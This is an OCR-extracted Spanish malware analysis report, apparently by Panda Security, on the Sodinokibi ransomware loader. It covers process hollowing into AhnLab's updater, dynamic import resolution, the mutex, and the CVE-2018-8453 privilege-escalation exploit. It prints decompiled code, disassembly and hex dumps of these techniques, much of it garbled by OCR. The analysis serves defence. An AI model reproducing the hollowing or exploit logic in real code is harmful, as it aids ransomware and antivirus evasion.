00450808 |C1 &E 7R 75|64 CF 72 BG|SA €3 74 37|B6 SA EB EB|Ak{udIryzAz7yzée
0045D8ES | 2F 13 12 08|5E OB 09 14(1C 09 1A 16(5E 16 0OE 08| /.. .[.......
0045D8FE | OF S8 19 1E|S5E 09 OE 15|58 OFE 15 1F[1F 09 5B 2C|.[..[.co[eeu.. [,
00450908 |12 15 48 49|76 71 5F 4C|7BE 7B 7B FE|7B 7B 7B 7B CHIvg _LI{I{{111
00450918 |7E 7B 7B 7B|7E 7B 7B FB|7B 7B 7B FB|7B 7B 7B 7B|{{{{{{{{i{i{i{:{
00450928 |76 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B FB|7B 7B 7B 7B|{{{f{{{fi{{i{i{:{
0045D933| 7B 7B 7B FB|(7B 7B 7B FB|7B FB 7B FB|7B 7B /B 7B|{{{{{{{i{i{{i{ii1i{
00450948 |7B 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B|7B 7B 7B 7B|{{{{f{{{{{{f{f{{f{
00450958 |7E 7B 7B 7B|7E 7B 7B FB|7B 7B 7B FB|7B 7B 7B FB|{{{ff{{ff{f{i{I{

Figura 4.1.12: Descifrado de la funcién Help.

Una vez se haya desofuscado en memoria, obtendremos la siguiente dll y podremos proseguir con la

fase 2.

4.2. Fase 2: Process Hollowing

El segundo loader es usado para cargar el payload final intentando hacer process hollowing sobre el
antivirus Ahnlab. Si el equipo no contiene este proceso, el ejecutable crea otra instancia de powershell
en la que intentara realizar process hollowing sobre otro proceso.

Dentro del cuadro rojo podemos ver la funcionalidad principal de la DLL. Primero realiza una llamada
a _ServerStatusCheckcon los parametros “V3 Service” y 0.
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*off_413518 = 1;

sub_485758();

vll = &savedregs;

vle = &loc_412EB8;

v3 = NtCurrentTeb()->NtTib.ExceptionList;

_ writefsdword(®, (unsigned int)&v9);

LOBYTE(v3) = 13

sub_4@2F34(v4, v3, v9, &lec_412EB8, &savedregs);
sleepibee);

VG = sub 412BFC(v5, "HELP");
i 4,

if ( serverstatusCheck(vs, (int}"V3 Service™)
&& CheckAutorutRoute((int)"C:\\Program Files\\AhnLab\\V3Lite3@\\MUpdate2\\Update\\autoup.exe™) )

Sleep(12660608);
StartProcessHollowing(
&dword_414884,
(signed __int32)"C:\\Program Files\\AhnLab\\V3iLite3@\\MUpdate2\\Update\\autoup.exe");

i
EDRCheckédword 414884, @, *( DWORD *)(vé + 4));
Sub_ [9H

5leep(B99300608) ;

_ writefsdword(®, (unsigned int)va);
vll = (int *)&loc_412EBF;
sub_483480();

Figura 4.2.1: Estructura del segundo loader.
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Encontramos que esta subrutina efectivamente devuelve un booleano al comparar con el resultado
de GetServerStatus con 4. Procedemos a ver de qué trata GetServerStatus, el cual obtiene como
parametros “V3 Service” y 0.

bocl  usercall ServerStatusCheckfi<als:(int alfi<ecx», int a2f@i<edx>, int a3f@<eax:)
return GetServerStatus(a3, a2) == 4;

Figura 4.2.2: Funcion ServerStatusCheck.

Esta subrutina realiza una llamada a la funcion OpenSCManagerA, la cual se encarga de realizar una
conexion con el gestor de servicios e intenta acceder al servicio “V3 Service”.

Si consigue acceder, con la funcion OpenServiceA accede nuevamente al servicio, y con
QueryServiceStatus obtiene el estado del servicio el cual devolvera como resultado de la subrutina.
El estado del servicio corresponde a un cédigo numérico el cual se comprueba que corresponda con

4, es decir, comprueba que esté en funcionamiento el servicio. Una vez comprueba que efectivamente
esta en funcionamiento y que el ejecutable “autoup” se encuentra en la ruta indicada, realiza un sleep
y finalmente un process hollowing al servicio en la llamada a StartProcessHollowing.

S3 o= 8y
s4 = OpensCManagerA(V3 Service, @, 1u);

¥

if (va )

v6 = OpenServiceA(vs, a2, 4u);
w7 VB3
if ( ve )
1

if { QueryServiceStatus(ws, &w9) )
/3 = va,.dwCurrentstate;
CloseServiceHandle(v7};

¥

CloseserviceHandle(vs);

h

return v3;

}

Figura 4.2.3: Funcion StartProcessHollowing.

Sino esta el AV instalado la llamada a EDRCheck lanza una instancia de powershell e intenta realizar
process hollowing con otro proceso.

& = (CHAR *)sub_4@3F8C();
5 = (const CHAR *)sub_4B83FBC();
f ( CreateProcessA(vs, v3, @, @, @, 4u, @, 8, & tartupInfo, &ProcessInformaticn} }

lpContext = (LPCONTEXT)sub_412884();
if ( lpContext }
lpContext-»ContextFlags = 65543;
if ( GetThreadContext(ProcessInformation.hThread, lpContext) )

ReadProcessMemory(
ocessInformation.hProcess,
D){lpContext->Ebx + B),

&Number0fBytesRead);
if ( *(_DWORD *)({v4 + 52) == Buffer

&& NtUnmapViewOfSection(ProcessInformation.hProcess, *(PVOID *)({v4 + 52)) )
1

lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, @, *(_DWORD *)(v4 + B8), @x3000u, @xdou);
h
else
{

Figura 4.2.4: Funcion ComprobacionEDR.
18
°
U panda

andasecurity.com/es/business/
a WatchGuard brand P Y



Una vez se ha realizado el Process Hollowing, veremos, como de nuevo, vuelve a desofuscar mediante
una XOR, usando la misma técnica que hemos visto en la Fase 1, con el objetivo de extraer el payload
del Sodinokibi

jle installi_payload_desofuscado_00780000.412C78
xor byte ptr ds:[esi],bl

inc esi

dec eax

jne installil_payload_desofuscado_00750000.412C72
XOr eax,eax

004DCe5 S 300 oA 290 00|03 00 00 00|04 OO0 OO OO|FF FF OO0 OO|(MZE.......... Y. .
004DCEEE|C2 00 OO0 00|00 OO0 00 00|40 00 DD OO|00 OO0 OO0 OO|A....... B e
004DCe7E | 00 00 00 00|00 Q0 FE OOQI100 7B OO OOQ(0Q0 OO OO0 OD|...... HocHeocoooro
004DCES8 | 00 00 00 FE(OD OO0 OO0 00|00 OO0 OO0 OO0(DO0 00 O0 00| awefeeeannns

- B...
004DCESE | OE 1F BA OE|(7E B4 09 CD|21 BB 01 4C|CD 21 54 &8|..=.{ .Ir .LI!Th
004DCEAB| 69 73 20 7FO(72 14 &7 72|61 6D 20 63|61 6E 6E 14|15 pr.gram cann.
004DCEES | 74 20 &2 1E|(20 72 75 GE|20 69 &E 20|44 4F 53 20|t b. run in DOS

AA AR ssn |l ae e oA A Te A AR Aan TRl TR TR TR e &+ rrrrr

Figura 4.2.5: Desofuscado en dindmico del payload del Sodinokibi.

5. Sodinokibi

Una vez tenemos el payload, nos queda la Ultima parte del Ransomware. El esquema principal de sus
fasesy que seguiremos en este apartado, y un breve resumen de sus partes, es el siguiente:

M

3 Attributes:

_Main proc near

call _GetLibraries
call _CreateMutex
test eax, eax

jz short loc_482FCB

call _CheckEXP
test eax, eax

jz short loc_482FE@

call _GetCurrentProcID
push eax
call _Exploit
pop ecx
A J
]

call _EXIT

pop eCx call _GetProcessRun

jmp short loc_482FEA| |call _PrepareCipher

loc_482FEA:

call nullsub_1
xor eax, eax
retn 4

_Main endp

Figura 5.1: Esquema general Sodinokibi
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GetLibraries: Esta funcion se encarga de cargar librerias dinamicamente que luego utilizara.
CreateMutex: Crea un Mutex.

CheckExp: Comprobara si debe realizar Escalado de privilegios, Exp es el valor que
comprobara, que estara True o False en el Json, dependiendo de si ya tiene privilegios
suficientes o no.

Exploit: Realiza el Exploit CVE 2018-8453.

GetProcessRun: Obtiene y lanza un Explorer.exe.

PrepareCipher: Realiza todas las tareas del Sodinokibi, obtiene Json, ejecuta listas de idiomas,
listas de procesos a finalizar, borrado de ShadowCopies, etc.

5.1. Obtencion Import Adress Table (IAT)

Tras las dos fases del loader obtenemos el payload MD5: B488BDEEAEDA94A273E4746DB0082841 que
es el Ramsomware Sodinokibi el cual esta ofuscado y no tiene ninglin import. Por lo que los imports
los tendra que obtener de forma dinamica.

LI LN DU U VLU T U A I U e

% Imports D

Address Ordinal Name Library

Figura 5.1.1: Imports de la muestra.

En la funcién principal vemos que realiza una llamada a dos funciones, una primera que tiene mas
cddigo y una segunda que realiza una llamada dinamica, esta llamada corresponde a un ExitProcess
por lo que lo importante se realiza en la primera llamada.

public start

start proc near

push 8

call sub_4@82FB3

push 8

call exid’r‘ocess

pop ecx

retn

start endp ; Attributes: bp-based frame

exitProcess proc near ; CODE XREF: sub_¢
; sub_482FB3+18tp

arg_@ = dword ptr 8
push ebp
mov ebp, esp
push [ebptarg_a]
call dword_41B696 ; ExitProcess
pop ebp

retn

. exitProcess endp
3 (Synchronized w

Figura 5.1.2: Funcion en el entrypoint.

En la primera funcion, lo primero que realiza es la importacion dinamica de las funciones del sistema
que va a utilizar. Para obtenerlas, llama mediante un bucle a una funcién cambiando los parametros
de entrada.

Yy
Ll =]
loc_4852B4:
push dword_41B628[esi]
call _BuildIAT
mov dword_41B628[esi], eax
add esi, 4
pop ecx
cmp esi, 21@h
jb short loc_4852B4
T

Figura 5.1.3: Bucle para obtencién de funciones del sistema.
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Esta funcidn es la encargada de traducir el nimero que tiene como parametro de entrada en la funcidn
de la libreria correspondiente.

Esta funcidn se divide en dos partes, una primera encargada de obtener la libreria y una segunda
encargada de obtener la funcidn especifica.

Get library

Get function

Iiij

Figura 5.1.4: Estructura de “_BuildIAT”

Para la parte de obtencidn de libreria, empieza realizando unas operaciones al parametro de entrada.

Ese nimero lo utiliza para ir por los distintos if anidados y terminar en la funcion que le dara la libreria
gue se ha solicitado.

kL L Y ¥ kL 4
FEE] PEE] FEE FEE]
loc 4@5514: loc_4@5516: loc_4@5554: loc_4@5522:
mov eax, 0ffset___ObtencioKer‘nelB2d11 mov eax, 0‘F‘Fset_0btencioGdi32dll mov eax, [ebpt+arg_8]| |mov eax, offset sub_ser
jmp short loc_485573 Jmp short loc_485573 Jjmp short loc_485573| |jmp short loc_485573
I

loc_4@5573:

call eax ; sub_4@53F5
mov edi, eax

test edi, edi

jz short loc_4@55CC

Figura 5.1.5: Funciones para la obtencién de librerias.
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Entremos en el funcionamiento de una de estas funciones, por ejemplo, la funcion “_advapi32dll”.

_advapi32 d1l proc near |
var_18= byte ptr -18h
var_4= byte ptr -4

push ebp

mowv ebp, esp

sub esp, 1@h

lea eax, [ebptvar_ 18]
push eax

push ach

push 8Eh

push @DCh

push offset unk 418833
call sodin_decript_string
ET ) E=p, LZN

Mo [ebptvar_4], @
lea eax, [ebptvar_ 18]
push eax

push L 78286874h

call BuildIAT

pop ECX

call eax |

Figura 5.1.6: Funcion “_advapi32DIl”.

Esta funcion llama a “sodin_decrypt_string”, para que le devuelva el nombre de la libreria que quiere
obtener, en este caso “advapi32.dll”. Una vez tienen el nombre de la libreria, tienen que cargarla
en memoriay para eso necesitan la funcion “kernel32.LoadLibrary” que la obtienen llamando a “_

BuildIAT” pasandole el valor “57820074h”.

- “ Hide FFU

EAX DO18FFZ4 "advapi3z.dil”
EBEX FEFDEOQOO

ECX OO00006C 1"

Fhy ANNNNNT 2 "oar

Figura 5.1.7: string desofuscado.

Una vez que tiene la direccion de la funcion “kernel32.LoadLibrary” localizada y colocado en eax,
solo tiene que llamarla pasando en la parte mas alta de la pila el nombre de la libreria. Esto cargara la

libreria en memoria (si no estd ya cargada) y le devolvera la posicion.
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call sodinokibi.405448D
pop ecx

call eax

mov esp,ebp

pop ebp

ret

push ebp

Figura 5.1.8: Llamada a LoadLibraryA.

EAX  TGAS43D7

EEX FEFDEOODOD
ECX 000005 4F
EDX 76B370ED

EBP  0OD1BFF34
ESF  0O018FFz0

<kernel3z.LoadLibraryA=

L'S"
kernel3z.76E370ED

&"advapizz.d1l”
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En la segunda parte de “_BuildIAT”, se obtiene la funcidon deseada de la libreria obtenida
anteriormente. Para ello realiza operaciones utilizando como datos de entrada una lista de funcionesy
obtiene un niimero que lo suma a la direccion base de la libreria y obtiene la direccion de la funcion.

Address

Hex

ASCTII

76BE32FBB
76B32FCE
76E32FDE
76B32FEB
76B32FFB
76E3300B
76E3301B
76BE33202B
76B3303B
76E3304B
76E3305B
76E33206E
76E3307B
76E3308B
76E33209B
76E3320AB
76E330EB

41
&C
69
74
61
65
&eD
00
79
65
43
&F
&C
78
41
74
41

64
54
70
65
&0
72
65
41
44
63
61
72
&5
63
64
65
&C

&4
&F
74
72
65
BE
57
&4
65
75
&C
[
72
65
BA
00
aC

439
4z
&F
BE
41
61
00
&4
73
72
&C
&4
00
70
75
41
&F

6E
&F
72
61
o0
74
41
53
63
B85
&2
43
41
74
73
&C
&3

74
75
00
74
41
B5
&4
49
72
40
[
&F
&4
(5]
74
&C
6l

&5
&E
41
&5
64
43
64
44
69
&5
63
&E
64
&F
43
&F
74

&7
54
&4
43
64
&F
52
54
70
&0
6B
74
56
GE
61
632
&5

72
61
&4
&F
4C
&0
&5
&F
74
&F
o0
&9
65
48
&C
43
55

(]
72
4C
&l
&F
70
(1)
42
&F
72
41
&E
63
61
(3
&F
73

4C
&5
61
74
6C
65
74
G6E
41
61
e
48
72
B8C
61
&F
50

61
73
eC
65
41
72
43
64
64
B3
65
61
&5
65
72
&C
&8

62
&3
41
72
&C
4E
74

61 7

64
&8
63
&E
&4
72
44
&5

79

AddIntegrityLabe
1ToBoundaryDescr
iptor.addLocalal
ternateComputernN
amed. AddLocalAlt
ernateComputerNa
mew . addRefActCtx
. AddSIDToEBoundar
yhescriptor.Adds
ecureMemoryCache
callback. addvect
or edContinueHand
ler.AddvectoredE
xceptionHandler.
AdjustcCalendarba
te.AllocConsole.
AllocateUserPhys

Figura 5.1.9: Datos de entrada para obtener la direccion de la funcién.

WO W T

mov 2Cx, dword

(9}

-
ptr

oy T e T

s5:ebp-Cli

movzx eax,word ptr ds:[eax+ebx=2]
ptr ds:[ecx+eax=4]

add eax,edi

push ebp

i.4055CE

mov ebp,esp

sub esp,C

Tea eax,dword ptr ss:[febp-Cf

nch aaw

IE@Q DDDl4BD4I

L p”
ECX TED34A64 advapi3z.7eD34A64
EDX  76D394CE advapi3z.76D394CE
EEF  0018FF54
ESP  0018FF3C
EST Oo04nnaFE
[ERl__ 7eD20000 advapi3z.7eDz0000 |

Figura 5.1.10: Obtencidn de la direccion.

Una vez que ya sabemos como se obtiene una funcién de una libreria podemos volver a la figura 5.1.3
donde vemos que hace el bucle para obtener todas las funciones del sistema que necesita y las guarda
creando una IAT (Import Address Table).

< panda

esi=14

Wt B B

00405 Z2EF

B RN B R

mov dword ptr ds:[esi+<&0penProcessToken=],sax

add esi,s

e

LLext:004052C5 sodinokibi.fil:$52C5 #46C5

a WatchGuard brand

Figura 5.1.11: Creacion de la IAT

Boumpl | BYoump2 | @Y Dump3 | @4 Dump4 | @4 Dump 5 | ) watch 1 | [
Address | Hex ASCIT

0041628 |04 43 D3 7o |EE 54 A 7o I8 E8 11 A8 7o LCOVIT whn. va
0041B638 i 7L|94A 72 80 OB |O0OB ED AE 40 ﬂﬁ@vﬂ.&u.r..;
nn41RR4RIF? 57 02 07|74 ¢2 9r 95 lns FR Fo RRIF7 24 an nalbw. .tA_ . _BA =
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5.2. Preparacion y Mutex

Siguiendo por el mismo camino, vemos que, donde teniamos un dword, ahora es un
OpenProcessToken, que como podemos ver, nos lleva a todos y cada uno de los imports que ira
recorriendo

Antes:

M

loc_4852B4:

push dword_41B628[esi]

call _BuildIAT

mov dword_41B628[esi], eax

add esi, 4

pop ecx

cmp esi, 21@h

jb short loc_4852B4

T
’
Despues:

i e =

loc_4@52B4:

push OpenProcessToken[esi]

call _BuildIAT

mov OpenProcessToken[esi], eax

add esi, 4

pop ecx

cmp esi, 21éh

jb short loc_ 485284

T

.data: 8418628 ; int OpenProcessToken[ ]
.data:@841B625 OpdﬂProcessToken dd 3B84441Ch 13tr
data: 08416628
data:@841862C ; BOOL _ stdcall FindMextFilewW(HANDLE hFlﬂdFllE* LPNIN32 FIND DATAN 1pFindFileD
.data:es41B62C Flr‘ldNEK‘tFllEN dd 49EG1E@7h ; DATA XREF:
.data: 8418638 ; DWORD _ stdcall GetFileSize(HANDLE hFile, LPDWORD lpFlleSlzengh)
.data:@p41B630 GetFileSize db &Bh ; k
.data:e841B631 db 6%h ; i
.data: 8418632 db 88h ; ~
.data:ee41B633 db 3Eh ; >
.data:@841B634 ; DWORD _ stdcall GetCurrentProcessId()
data:@841B634 GetCurrentProcessId dd @C193967Fh ; DATA XREF: j_GetCurrentProcessIdfr
data:@841B638 ; BOOL _ stdcall GetQueuedCompletionStatus(HANDLE CompletlonPort LPDWORD 1pNum
data:e841B638 GetQueuedCompletlonStatus dd @CDE19A6Fh ; DATA XREF: sub_485372+151
data:@841B63C ; int _ stdcall FillRect(HDC hDC, const RECT *1prc, HBRUSH hbr)
data:@841863C FillRect dd 5838FD31h ; DATA XREF: sub_4832BE+ESTr
data:@8416648 ; BOOL _ stdcall winHttpReadData(HINTERNET hRequest, LPVOID lpBufferJ DWORD dwh
data:@P41B648 WinHttoReadData dd @BB@729Ah : DATA XREF: sub 485 E

Figura 5.2.1: Cambio tras obtener los imports.
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Tras la creacion de la IAT, pasa a comprobar si ya esta ejecutandose una instancia de si mismo en el
sistema. Para ello utiliza la funcion Mutex, pasandole como identificador una string que desofusca. En
esta muestra el identificador es:

“Global\\3555A3D6-37B3-0919-F7BE-F3AAB5B6644A” .

call sodin_decrypt_string ; L"Global\\3555A3D6-37B83-8919-F7BE-F3AABSB6644A™
add esp, 14h

xor eax, eax

mov [ebpt+var_2], ax

xor esi, esi

lea eax, [ebptvar 58]

push eax 3 nombre del mutex->L"Global\\3555A3D6-37B3-8919-F7BE-F3AABSBEEA4A™
push esi ; B

push esi ; B

call CreateMutexid ; CreateMutex

mov dword_41C83C, eax ; mutexhandle

Figura 5.2.2: funcion Mutex.

5.3. Escalado de Privilegios y Exploit CVE 2018-8453

5.3.1 Comprueba si tiene que hacer escalada de privilegios

Una vez que ha comprobado el mutex, pasa a mirar su fichero de configuracion para saber si tiene que
realizar escalado de privilegios o no. Este fichero es un Json que extrae de una de sus secciones y que
se explica mas adelante en este informe.

El pardmetro que indica si hay que realizar escalado de privilegios 0 no es exp que si esta a true realiza
escalado de privilegios y si esta en false no los realiza. Para saber cual es el valor de exp procesa los
datos del Json convirtiendo el false y true en cero o uno.

D1F5FALS

Figura 5.3.1.1: Dato procesado del Json.

00| 00 00 00 DDS?FAlElDl 00 00 DDl

AP AP AR AR mmrseamel o a;m o oaem oaem oam

Esta muestra no necesita escalar privilegios porque ya los ha escalado previamente por lo que
exp:false. Suele ser comun que este tipo de malwares tengan varias comprobaciones y escaladas
de privilegios en distintas fases para conseguir su objetivo aun sin tener su parte inicial, la del
Loader, anteriormente explicada en el punto cuatro. En este caso, esta funcion de exploit, fue
completamente saltada en ejecucion, ya que, como hemos comentado exp=False.

5.3.2 Explotacion

Para esta escalada de privilegios, utilizara la vulnerabilidad del CVE-2018-8453, el cual aprovecha una
vulnerabilidad de win32k.

Vulnerabilidad en productos Microsoft (CVE-2018-8453)

Tipo: Apagado o liberacion incorrecto de recursos

Fecha publicacién : 10/10/20
Ultima modificacién: 02/10
Descripcion
privilegios en Windows cuando el componente Win32k no gestiona adecuadamente los objetos en la memoria. Esto también se conoce como
Esto afecta a \ indows Server 2012 R; s RT 8.1, Windows Server 2008, Windows Server 2019, Windows Server 2012,
¢ Windows 10 Servers.

Figura 5.3.2.1: Explicacién CVE-2018-8453
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Empieza obteniendo la carpeta donde esta el fichero necesario para la explotacion, Win32k.Por lo que
necesita localizar el archivo para poder explotarlo.

Empieza obteniendo la carpeta donde esta el fichero mediante las funciones
Wow64DisableWow64Redirection y GetSystemDirectoryw.

Wow64DisableWow64Redirection, hace que, cuando se pide la carpeta del sistema con un programa
de 32bits las llamadas no se redirigen a la carpeta de 64bits y GetSystemDirectoryw da la carpeta del
sistema.

h 4

lea eax, [ebptvar_14]

push eax

call Wow64DisableWows4FsRedirection

test eax, eax

jz loc_ae62A4

L J

push 184h
lea eax, [ebp+var_288]
push eax
call GetSystemDirectoryW
test eax, eax
jz short loc_486198

Disables file system redirection for the calling thread. File system

redirection is enabled by default.

Figura 5.3.2.2: Deshabilitado de Wow64FsRedirection.

Esto da como resultado la direccion “c:\\windows\\system32”. Esto se une con las strings que
desofusca win32kfull.sys y win32k.sys y asi obtiene el nombre completo del archivo que necesita para
realizar la explotacion.

[or— ———
call sodin_decrypt_string ; win32kfull.sys
xor Eax, eax
mov [ebp+var 4@8], ax
lea eax, [ebp+var_3C]
push eax
push 14h
push =z
push BBFh ; '":
push esi
call sedin_decrypt_string ; win32k.sys
BDB5 FBFDFFFF lea eax,dword ptr ss:[Jebp-zss])
S0 push eax eax:L"C: Y \Wwindowsy\system32 n3zkfu SWS
E8 1AESFFFF call payload_d112_xor_pe. 404776
53 pop ecx ecx:L"win3z2kfull.sys"
] pop ecx ecx:L"win3z2kfull.sys"
50 push eax eax:L"C:\\WindowsY\system3 n3zkfu sSys
FF15 0O8B74100 €all dword ptr ds: [<&GetFileAttributesExi=]

Figura 5.3.2.3: Obtencidn del nombre mediante win32kfull.sys.
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Por Gltimo, comprueba cual de los dos archivos existe en el sistema mediante GetFileAttributesEXw.
Si no existe hay un error y devuelve 0. En nuestro caso, el archivo existente es win32k.sys.

Ademas, comprueba que el archivo sea suficientemente antiguo para ser explotado mediante
CompareFileTime.

lea eax, [ebptvar_24]
push eax

lea eax, [ebp+var_6C]
push eax

call CompareFileTime
Xor eCX, EBCX

test eax, eax

cmovns  edi, ecx

buéh edax eax: L"C: % \Windows\\system32y \win3zkfull. sys"
€all dword ptr ds:[<&GetFileattributesEx:=]

——— _____ — e e N S L w2 o e o TR PR o o TR e e

|| wide FPU

push eax

cdll dword ptr ds:[<&GetFileAttributesExws>]
test eax,eax

ie pavload dl1z xor oe.40627E

| EAX 00000000

—— e ———

Figura 5.3.2.4: Comprobacion de ficheros en el sistema.

En la siguiente funcidn, en primer lugar, comprobara la arquitectura del procesador, el objetivo
principal, es saber cuanta memoria ha de reservar para realizar el exploit, en el caso de que necesite
hacerlo. Reserva 38400 (0x9600) espacio en memoria, en caso contrario 13824 (0x3600).

if ( result )
1
if ( ArchType() )
1
2= L"E";
w3 = (WCHAR *)3B408;
¥
else
1
¢2 = (wchar_t *)&unk_414858;
o3 = (WCHAR *313824;
¥
BOOL ArchType()
1
struct _SYSTEM_INFO v1; // [esp+@h] [ebp-24h]

GetNativeSystemInfol&vl);
return vl.u.s.wProcessorfArchitecture == 9;

}

The processor architecture of the installed operating system. Thi

Value Meaning

PROCESSOR_ARCHITECTURE_AMD64 x64 (AMD or Intel)
9

Figura 5.3.2.5: Comprobacién de arquitectura.
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Posteriormente, sabra el espacio que necesita y realizara un VirtualAlloc para reservar memoriay
copiar dicho exploit en el espacio asignado

U UD L L JME Ay Iuaud_ U TS AU T TUTLE D
0040611E mov ebx,payload_d112_xor_pe. 414850
00406123 mov esi, 3600
loc_488128: push edi
. 00406129 push 40
push edi D040612E push 3000
push 4ah 00406130 push esi
004061321 push 0
push BB?Eh 00406133 call dword ptr ds: [<&WirtualAlloc=]
push esi 00406139 mov edi,eax
ush ) 0040613E test edi,edi
P . . 00406130 je payload_dl112_xor_pe.40614F
call InternetConfirmZoneCrossingW| | oo40612F push esi
. 00406140 push ebx
mow edi, eax 00406141 |push edi
test edi, edi 00406142 €all payload_dl112_xor_pe.40358E
. 00406147 add esp,C
1z short 10:—48614F 00406144 push dward ptr ss:|lebp+&]

Figura 5.3.2.6: Reserva de memoria

El exploit, esta almacenado en la seccion .rdata y sera copiado desde dicha seccion

| rmmm e -

test edi,edi
je payload_d112_xor_pe.40614F AX N02 20000
push esi Tamarfio EBX  0040B250

push ebx Origen
push edi Destino ECX  0E1B0000

call payload_d112_xor_pe. 40358 Copia EDX  OOOBE3CS

add egp?‘; — EEF  O0OD18FF78

push dword ptr ss:|[ebp+&] ESP Q018EFC

call edi ODDOQEDOI

pop edi
Address | Hex ASCII
00408250 [[E8 00 00 00|00 59 83 E9(05 83 EC 4C(55 53 56 57 |B....Y.&. . 1LUSWVW
0040B260 | 8B E9 33 C9|64 8B 35 30|00 00 00 BB|ZE 0C BB 7&|.E&3Ed.50....v..V
0040B270|1C 8B 46 08|8B FE 20 B8B|36 66 33 4F|18 75 F2 80|..F..~ .&F30.ub.

oo40B280 (| ZE _QC 22 7O |EC 8D BS FO|O1 00 OO0 BD|ED _ES Q1 00 .:3uﬁ.pa....ﬁe..

0040B2590 (00 ES BF 01|00 0O BD B5|00 02 OO0 OO(50 50 50 59 .B....vuenan PPPY
0040B2A0 (8D 71 3C AD|S8D S5C 08 18|ES 15 00 00|00 53 E8 77|.Q<..%..B....YEw
0040B2B0 (00 00 00 SB(53 10 58 03 |DO 5F 5E SE(5D 83 C4 4C|....5.X.B_A[].AL
0040B2C0O | FF E2 8B F1(2B 73 1C 85|F6 74 SE 89|74 24 30 8D|ya.hA+s..6tA T30

0040B2D0 | 43 &0 8B 78(2C 85 FF 74|50 89 7C 24|38 8B 40 28|C .X,.VtP.|38.@(
0040B2E0 |02 C1 89 44|24 34 BB 50|04 8D 74 10|FE 89 74 24| .A.D$4.P..t.p.t%
0040B2F0 | 3C 8D 50 OB8|3B 54 24 3C|77 21 OF B7 |32 66 BE FE|«<.P.;Th<w!. -2T.p
ArnaAanaAanl -r o na FrToRnlreAa Ta oAar rrloae Fe re o oAarElAas A AT A F - P F e Mo

00220000 |[ES 00 00 OO|00 59 83 E9|05 83 EC 4C (55 00 00 OO|E....Y.&..1LU...
00220010 | 00 OO OO OO|OO OO OO OO|00 OO OO OOD|OD OO0 OO0 OO ...ccceeiennnnnns

00220020 |00 0O OO OO)OO OO OO OO|00 OO0 OO Q0|00 OO0 OO0 OO vsssesssnnnnnns
00220030 |00 OO OO OO)|OO OO OO OO|0O0 OO OO QOO0 00 OO0 OO0 ...cceeiennnnnns
00220040 |00 00 OO OOQ)OQ OO0 QO Q0|00 OO0 OO0 Q0|00 OO0 00 OO0 .uiseesssannnnns

00220050100 OO OO OOIOQO OO OO OOI00 OO OO QOIDD 00 OO0 OOl ... v i nnana.

00400000 | 00001000 | payload_dil2z_xor_pe. il

O000AQ00 | . Text”
0040B000 | 00010000 | “.rdata”™
nna1ennnl nonn>nonl 7 daraT

Figura 5.3.2.7: Exploit almacenado en .rdata.
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Una vez tiene en memoria el exploit, realizara una carga de librerias de forma dinamica, donde
primero obtiene las funciones; LoadLibrary y GetProcAddress y luego utiliza esas funciones para cargar
y obtener las direcciones de las funciones que va a necesitar creando su propia IAT.

00228A00
00225A04
0022808
00228A0C
00225410
00228A14
00228418
00228A1C
00228420
00228424
00228A28
00228A2C
00228430
002284A34
00228435
00228A3C
00225A40
0022844
00225445
00228A4C
00228A50
00225A54
00228A58
00228A5C
00225460
00228564
00225465
00228A6C
00228A70
00228A7 4
0022BATSE
00228A7C
00228A80
00225A84
00228A88
00228A8C
00225430
00228A94
00225438
00228A3C
00228AA0
002254aA4
00228AA8
00228AAC
00228AEB0
00228AB4
00225ABS
00228ABC
00225AC0

00228AC4
0022B8ACE
00228ACC
00225AD0
00225AD4
00228AD8
00228ADC
0022E8AED
0022BAE4
0022BAES
0022B8AEC
00228AF0D
00228AF4
00228AFE
00228AFC
00228800
0022E8B04
0022E8B08
0022E8B0C
0022E8E10
00228E14
00228E18
00228B1C
00228E20
00228624

< panda

a WatchGuard brand

76AADSAD
76A8195E
76AB49CA
76A81136
76A9D5B5
7EeABTA2F
76A834D5
76AB14FB
76A814C9
76481450
76AB10FF
771EEO26
76MA81215
76A811E0
76A8328C
76AB4A2D
76A8435F
76MA9CF28
76481809
76A832BB
76AB43EF
76481245
76A849AD
76481410
76A814E9
76MAB3587
76484507
00000000
750FD918
750C3FCS
00000000
753835982
7537EEOQ9
753857A4
75379ABB
753D67FB
7538D5F2
7538612E
75377809
7537D22E
772024E0
7538434B
753CD222
75386110
753886F3
75385483
75380DFE
75380296
7538790F

75383BAA
75383208
75378E4E
75379A55
75377BBB
75377BD3
753B9783
753800FA
753790D3
75382D64
00000000
74DDDEZE
74DD32310
74DF35D1
74DD327320
00000000
771EE208
771EDF85
F771EO8AC
F71F873A
771EEQ26
771DFECE
771DFABD
771DFB48
771EO1ES

kernelzz. setThreadaffinitymask
kernel3z. IswowG4Process
kernel3z. GetsystemInfo
kernel3z.waitForSingleObject
kernel3z.GetExitCodeThread
kernelzz. TerminateThread
kernel3z.CreateThread
kernel3z. Tissetvalue
kernel3z. HeapFree
kernel3z.GetCurrentThreadId
kernelzz.sleep
ntdl1.Rt1AllocateHeap
kernel2z.51eepEx
kernel3z.TisGetvalue
kernel3z.CreateEventA
kernel2z.Heaplreate
kernel3z.virtualProtect
kernel3z. setPriorityClass
kernel3z.GetCurrentProcess
kernel3z. SetThreadPriority
kernelzz.ResumeThread
kernel3z.GetModuleHandleA
kernelzz. T1sAalloc
kernel3z.CloseHandle
kernel32.GetProcessHeap
kernel3z.TI1sFree
kernel3z.LoadLibraryA

rpcrt4. UuidToStringA
rpcrt4.RpcStringFreed

user3z.uUnhookwinEvent
user32. setwinEventHook
user3z.CreateMenu
user3z.PostQuitMessage
user32. AappendMenui
user3z.setClassLongA
user32. sendvessages
user3z.TranslateMessage
user3z.CcreatewindowExa
ntd11.Ntdl1pefwindowProc_a
user3i2.RegisterClassA
user3z, setMmenuInfo
user32. SetwindowLongé
user32.getclassLongA
user32,. setClassLongw
user32. showwindow
user32. setThreadDesktop
user3z.GetClassNamed

user3z.PostMessageA
user3z.setActivewindow
user3z. setwWindowPos
user3z.Destroywindow
user3z.DispatchMessageA
user3z.GetMessageA
user3z.CreateDesktopA
user3z.Closebesktop
user3z.SystemParametersInfow
user3z.SetParent

msvcrt._stricmp
msvcrt.memcpy
msvert. _snwprintf
msvert.memset

ntd11.Rt1InituUnicodeString
ntd11.Rt1FreeHeap
ntd11.NtCreateTimer
ntdl11.RtlGetvVersion
ntd11.Rt1AllocateHeap
ntdl1.ZwCal1backReturn
ntd11.ZwAllocatevVirtualMemory
ntd11.ZwFreeVirtualMemory
ntd11.ZwsetTimer

